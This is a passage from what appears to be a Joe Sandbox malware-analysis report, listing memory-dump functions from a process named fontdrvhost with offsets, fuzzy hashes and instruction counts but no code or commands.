Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55a489e0308a47dfbc2db00d9bbe4972c4cc6ea14799e558ba0c002d063f6ef2
Instruction ID: 71c81f9da010d987d976207b519b16a73e031685bdb497f92fbbcb0bd11d32ed
Opcode Fuzzy Hash: 55a489e0308a47dfbc2db00d9bbe4972c4cc6ea14799e558ba0c002d063f6ef2
Instruction Fuzzy Hash: 3F612961F0D65B4FEB61A7A898A25F87BB1EF55380F0403B6E04DC71C6EF18684297C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D769B Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e6867fae9098022924ee614dde854cf1cb19a1bc78244abef5b06660f60a82
Instruction ID: dca365799def73edd9e8d3eaef7de1a48639b65b7391212d142043612100b9a3
Opcode Fuzzy Hash: 78e6867fae9098022924ee614dde854cf1cb19a1bc78244abef5b06660f60a82
Instruction Fuzzy Hash: 04719130E1C64B8EEB65DBA888755BD7BB1EF55380F5006BAE00ED71C9EF286941D701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCA9FB Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb541074d04c6bdb0452c6845d1cdea42f2c1d9f3512534ac72e8b1cfd6b4afe
Instruction ID: bd3645468e136ffb2d02b4c28587dbd98328ff97a699460c97e831987caaa1dc
Opcode Fuzzy Hash: eb541074d04c6bdb0452c6845d1cdea42f2c1d9f3512534ac72e8b1cfd6b4afe
Instruction Fuzzy Hash: 7971C930E1E54E8EEB75EBA884656BD7BB1FF45308F1104BAD01ED71EADE286A41C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DD985 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb125272ce2914f6b33485969103a1aa8b46f2649caaacbc7ca88d3935ed0725
Instruction ID: cd9b29f987c2171322c7c118525342fc828c16a406e4067d7c27d819524c510c
Opcode Fuzzy Hash: bb125272ce2914f6b33485969103a1aa8b46f2649caaacbc7ca88d3935ed0725
Instruction Fuzzy Hash: 5761D522F0D75B4FEB61EBACA4A15E97BB0EF053A4F0402B6E05EC6183EA195805D394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DB07E Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f805f77e8d05ab2dd8148601605bcae7ee157b13e354ae6901e4bdce62ff7e9b
Instruction ID: e365d1c372600bbf8f80d0de1b7be188570853d619a23165ba9ee6798bffa3ed
Opcode Fuzzy Hash: f805f77e8d05ab2dd8148601605bcae7ee157b13e354ae6901e4bdce62ff7e9b
Instruction Fuzzy Hash: 5A71D330A0CB878FD759DB68D0A05B4BBB0FF15350F5446B9E44ECBAC6EB28A851C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC2EFA Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b9285b1b621db4ef6f01cf74fa3834e34a1e137d95fecafa61a398c9c4ad63c
Instruction ID: 3c438f9ed9ae6d6490c1077a4638094c2c955404e3bd58cf952c62a0e64b9b05
Opcode Fuzzy Hash: 7b9285b1b621db4ef6f01cf74fa3834e34a1e137d95fecafa61a398c9c4ad63c
Instruction Fuzzy Hash: EF51FA72A0E59D4FE755EBACD8B19F837B0FF11318B090176C459C61D3E925654AC740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DE91B Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16fd8fb3d8567490a1f864a5231011a8833741963ae0879da5d4f68e587e1905
Instruction ID: dc850950e6ee955a984def09d45c5cb37d1b913682d6e8d4b24674b93854cebd
Opcode Fuzzy Hash: 16fd8fb3d8567490a1f864a5231011a8833741963ae0879da5d4f68e587e1905
Instruction Fuzzy Hash: 0451DF30E19A4B8EEBA4DBA8C8645FDBFB1FF45380F1102BAE01ED7185EB3568419741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCD270 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21286edb8379b1a2401e5af363b0adf2d797370218e4a73d17b45048f7cd28a3
Instruction ID: 11261cbb07c32ff84ac4936a08435e7b3be80e2c1103eb6a25b08209d2e3292f
Opcode Fuzzy Hash: 21286edb8379b1a2401e5af363b0adf2d797370218e4a73d17b45048f7cd28a3
Instruction Fuzzy Hash: C251E020F0995E4EEBB8EB5C88B56F876A1FF90305F4541FAC04EC71D6DD28AA81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DBA00 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a13f550e52dc624645a655dcbff42a34eef4d262694b59b2806205e71bb1bc1
Instruction ID: e22b4ba26628edba7f5dda3ab105b2c2acd93e77b80552ef5af4bdeb953792c5
Opcode Fuzzy Hash: 3a13f550e52dc624645a655dcbff42a34eef4d262694b59b2806205e71bb1bc1
Instruction Fuzzy Hash: FA51C420F1865B4EEBB89B588475AB877B1EF54301F4442FAE05EDB1CAEE2869409B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9DA5 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b50c0183013e074cc824a9616c889246859060d3e29832612d015a90ab8258f
Instruction ID: d28860018e6134d30df3f6f6817a1bf9bdc81b8e9c8baa18c8613180946f734f
Opcode Fuzzy Hash: 8b50c0183013e074cc824a9616c889246859060d3e29832612d015a90ab8258f
Instruction Fuzzy Hash: F6418071F08A1B9FDB64DA9884A55BCB7B1FF99390F00427AE00DD7281EF24AC429780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC4EA0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e09cd5667130d40073096984347f0431665a0ca67b26ca41f7001a282a890808
Instruction ID: 8531a3950a543dab9e0d57ebe0c9625f04ab463ef4106724e10a044322c1165e
Opcode Fuzzy Hash: e09cd5667130d40073096984347f0431665a0ca67b26ca41f7001a282a890808
Instruction Fuzzy Hash: 7941BE61A0F6CA5FE76696B858641B87F94FF43264B0B01FFD08D8A0E3D94C1B56C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCB70D Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f8d35ceb6045b024a1f91d7dbb11d7a2660e6833ce7e1eba1050dd0135b102
Instruction ID: b54973f0b7997422f520e28c4bf79297f2bafa35d12652239bf3ae1c539815db
Opcode Fuzzy Hash: 33f8d35ceb6045b024a1f91d7dbb11d7a2660e6833ce7e1eba1050dd0135b102
Instruction Fuzzy Hash: F0418271B0990E8FEB69EB9C84755BCB3A1FF55314F25827AD05DC32D2DE24A902C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E11A0 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 545fbe5c94b2df8b28276e8c7b0bcc4cbdfe67bf5877db36f85627ba413ff1b3
Instruction ID: 61facf860146f1afac71104abbee0833286a78ccf1c811c128d32b54c4494b4b
Opcode Fuzzy Hash: 545fbe5c94b2df8b28276e8c7b0bcc4cbdfe67bf5877db36f85627ba413ff1b3
Instruction Fuzzy Hash: 78411820A0C55B4FEB78D65888B06F877B2FF95380F1441BEC15ED7187CE38A981A741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC7A57 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68afaef5b6953533e4f1525c99668f09dd480dab2f893442c55b4c301e57a575
Instruction ID: b70f4db45e9bd3a7185824dfb47c28589c9010e1423c662888001bd2971c5c69
Opcode Fuzzy Hash: 68afaef5b6953533e4f1525c99668f09dd480dab2f893442c55b4c301e57a575
Instruction Fuzzy Hash: A841623270C9488FDF98EF58C4A6DA5B3E1FBA5311B0542AAD44AC3292DE31F845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DCC67 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961ed429700299cb2629a4bcd960c7d6fe093f1053d90534c89b63e1a8b26371
Instruction ID: 2781d08987d2eeb3e8269e88187e4408921325912781a9cf583f0c4f30a6cc01
Opcode Fuzzy Hash: 961ed429700299cb2629a4bcd960c7d6fe093f1053d90534c89b63e1a8b26371
Instruction Fuzzy Hash: C9415F3170CA598FDF98EF58D4A5DA4B7F1FBA8311B04426AD45EC3192DE31E845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC7B01 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c4f9e42fc082b3aba98ac7d027983bca76e93defea40369b41d30f18648aa65
Instruction ID: 61f4ed008fb49692a7ed1154cf2ba7257c1c66cd08c7a18344037d60746a404e
Opcode Fuzzy Hash: 1c4f9e42fc082b3aba98ac7d027983bca76e93defea40369b41d30f18648aa65
Instruction Fuzzy Hash: 933180316089488FDF98EF18C4A5DA4B3E1FFA9311B0542A9D44AC72A2DE31F845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DCD11 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01fcb229ef807c9e24ab714f946fb9af4d822728dde3cade96b6334c3d657bca
Instruction ID: 0888e790b25c6724d61982e5e7dc777bf43d372820ea67018148d102fa920061
Opcode Fuzzy Hash: 01fcb229ef807c9e24ab714f946fb9af4d822728dde3cade96b6334c3d657bca
Instruction Fuzzy Hash: BA317F3160CA598FDF98EF18C4A9DA477F1FBA8311B0542AAD45EC7192DE31E845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC6780 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d06b8c29d067c4a13b76cf71a47cc2f033d64cabbfaad89aeebacf3784688a8a
Instruction ID: 7f032cde75b66b19861fbca1963eaa0ff59c650b609999224a8b4f7990715317
Opcode Fuzzy Hash: d06b8c29d067c4a13b76cf71a47cc2f033d64cabbfaad89aeebacf3784688a8a
Instruction Fuzzy Hash: 52315820A1D85E4AEB78E65C8470AF473A1FF60304F1546BBC44FC71D6DD2CAA85C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC7A9B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d01110aee7568b5f5890892a04d55335d1103fdf8486786dff75f1091520d3
Instruction ID: 07ff8427713b6f4525be6f6aef295937799c9353db8fb423b5aeead293bb1f0c
Opcode Fuzzy Hash: c8d01110aee7568b5f5890892a04d55335d1103fdf8486786dff75f1091520d3
Instruction Fuzzy Hash: F23192317089498FDF98EF18C4A5DA4B3E1FFA8311B0542A9D40AC72A2DE35F845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DCCAB Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854f65be2642ea73198727b78afb52202e139beeac3ff21239d2ef80abb0980c
Instruction ID: b1d21c6fd78104955d5226f5d3400dfc5d028b5aa6f50ab7b91c4e65efe49215
Opcode Fuzzy Hash: 854f65be2642ea73198727b78afb52202e139beeac3ff21239d2ef80abb0980c
Instruction Fuzzy Hash: E0318F3170CA498FDFA8EF58C4A9DA4B7F1FB68311B0442AAD45EC7192DE31E845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC2FD3 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc91ef89f6298b63b3473d0a6a255c397b4a5eaadcbddcea9ff0e7963ce66785
Instruction ID: c1f34b6ac23ea3f99667dc8835e53ec1a9a76c342585c5a628ba1084c0dd8ff4
Opcode Fuzzy Hash: bc91ef89f6298b63b3473d0a6a255c397b4a5eaadcbddcea9ff0e7963ce66785
Instruction Fuzzy Hash: 8831AE32A0E68E8FDB95EBA8D8619FC7BB0FF55304F4601B6D049D71E3CA25A945C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC9AFA Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bc5287f743b5f4ce2ee92acb308ba82593c1583487663f2e37e13c474d684a1
Instruction ID: 89440e72cda120844aa214e8cfe007aef7d11bc1c55f2a53d8ac452508a0376f
Opcode Fuzzy Hash: 6bc5287f743b5f4ce2ee92acb308ba82593c1583487663f2e37e13c474d684a1
Instruction Fuzzy Hash: AB31C671E0EA8D9FEB66DB98C8645BC7BB1FF46304F0501BAD08DD72E2DA24A905C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D804A Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a23c30605631c01bd2b3539aa2c06ca24817389ba452e688064d2f22fb3ba91
Instruction ID: b2bdedd852cdc7de9227cea8618b8a76f80c73495762620138bd37661289af39
Opcode Fuzzy Hash: 0a23c30605631c01bd2b3539aa2c06ca24817389ba452e688064d2f22fb3ba91
Instruction Fuzzy Hash: A231072094E3C64FE753937498696E53F716F43364F1802EAE089CA4E3EB990409D752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC4BCD Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2395f90dff6c8738424643affce4bafa8dacfdc1de6265cb970a3c39c498e8f3
Instruction ID: 6f21d39507bfd25646123ae76dd9eb08f7eafee4fb02dbfada7db98cd49ccfc1
Opcode Fuzzy Hash: 2395f90dff6c8738424643affce4bafa8dacfdc1de6265cb970a3c39c498e8f3
Instruction Fuzzy Hash: 67312D71B0990E9FDB68EB9CD4619B8B3A1FF98314B115239D01EC3696DF24BD12CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9E6B Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e583476c18b4eb61fda2487d11de644b02067cf5584a8b3635f578a533d76d77
Instruction ID: bc0b64f022efee80efaa697feb0fd1e692f07291fa4dfe48f1108f231ef0e0a7
Opcode Fuzzy Hash: e583476c18b4eb61fda2487d11de644b02067cf5584a8b3635f578a533d76d77
Instruction Fuzzy Hash: 3F310371F1891B9FDB64EB98D4A19ACB3B1FF58351B10427AE01ED3681DF247C129B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C110AA7 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C10A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C10A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c10a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2aa247de54839127dd083d8eaf05a3c4d90f2af6da3f8a2f84ccd6b6305ac8d
Instruction ID: 77e331a2daba373bf82137d891a47351df6526ac7c204139f39068c6fe8714cd
Opcode Fuzzy Hash: b2aa247de54839127dd083d8eaf05a3c4d90f2af6da3f8a2f84ccd6b6305ac8d
Instruction Fuzzy Hash: 6D31B771A0882D8FDFA4DF18C898FA877B1FB69305F1001DA900EE7261DA35AE81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCE355 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e849796166f180b90d3380ee75f179ac513dd747df6b26e72e39eb12ae6bd0
Instruction ID: 1d9cced6685459f8fc41ec11cc636d3e59010ecdd67d483a78bf94dc9c2843e5
Opcode Fuzzy Hash: e5e849796166f180b90d3380ee75f179ac513dd747df6b26e72e39eb12ae6bd0
Instruction Fuzzy Hash: 04313930A1A94ECFEB79EB9884655BD76A1FF84304F5201BAD40EC22E1DA38BA40C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC7865 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e7364e946eb7eea46d5ffb45bb4b442e425ba0bd722cb01b7d0724e85946e3b
Instruction ID: fa747ca7cf611f45b55006f53fd0e7a3e83abe8bf5d257789ebacdb8aeb73d48
Opcode Fuzzy Hash: 4e7364e946eb7eea46d5ffb45bb4b442e425ba0bd722cb01b7d0724e85946e3b
Instruction Fuzzy Hash: 63316A32E1A94E9FEBA9EF8A84655BD77B1FF54304F52017AD10EC22E1CA786A00D741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9879 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e687aefe064dc1f2140455c3d37cb40289cfe4db2e3b99e4abf214ff7c9378b5
Instruction ID: 1d91d3d2877db09d430995ef7c5715da6b92666cd1ce64c3c69ab14627803d31
Opcode Fuzzy Hash: e687aefe064dc1f2140455c3d37cb40289cfe4db2e3b99e4abf214ff7c9378b5
Instruction Fuzzy Hash: 6D31CC70E1861E9FDFA8DB58C4A5AADB7B1EF58311F0041BAD01EE3291DF34A9819B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DE54C Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6989cec008a79f7d2ad8e7a6f4d23abe501b70d67dd67fa566e975ae9560cd01
Instruction ID: fa6270320183b4b86babebbe45e526edb1d2a38b7ad7560e2b032b4c0bf6e9d5
Opcode Fuzzy Hash: 6989cec008a79f7d2ad8e7a6f4d23abe501b70d67dd67fa566e975ae9560cd01
Instruction Fuzzy Hash: CB31FD30E186199FDFA8DB58C4A5BA97BB1FB58381F1101BEE05EE3291DB34A9409B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9F25 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729ddfebae739d3372d311756fca4a9d721c168bdc941befb583fce7ab58323a
Instruction ID: 2b1c83b494944a33fd1422d2810cbadd50ab653627bdcaeed2e173e2de72dea1
Opcode Fuzzy Hash: 729ddfebae739d3372d311756fca4a9d721c168bdc941befb583fce7ab58323a
Instruction Fuzzy Hash: 0A31B471F186574FDB64AB9888726ECB7B1FF54350F140279E01DC72C2EE28A8055381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D8E37 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43907fb1394e8e7b46a908c4c9e82cd24440a47e1cd8a9985bf1e4fe9f8f91c4
Instruction ID: e483533d35263c007386bf54a80eadc44a295805840d5c06eb4c6f653ecf575e
Opcode Fuzzy Hash: 43907fb1394e8e7b46a908c4c9e82cd24440a47e1cd8a9985bf1e4fe9f8f91c4
Instruction Fuzzy Hash: 06312171F1891B8FEB64EB88C4A26FD77B1FF58340F500775E00ED6195EB286841AB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DCAE5 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c4e38945b12a76085df12daa1e5970e5209f41ff19d0a930cfa8e34c0733f43
Instruction ID: 8d3c447ca59874c5b2f637fe5e3c877193bd908c14c90f3d95fcabf5fbb5caf5
Opcode Fuzzy Hash: 6c4e38945b12a76085df12daa1e5970e5209f41ff19d0a930cfa8e34c0733f43
Instruction Fuzzy Hash: FB31C630B1C74BCEEBB8DB9884655BD7BB1FF54350F50027AE40ED6281EB39A944AB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCD243 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
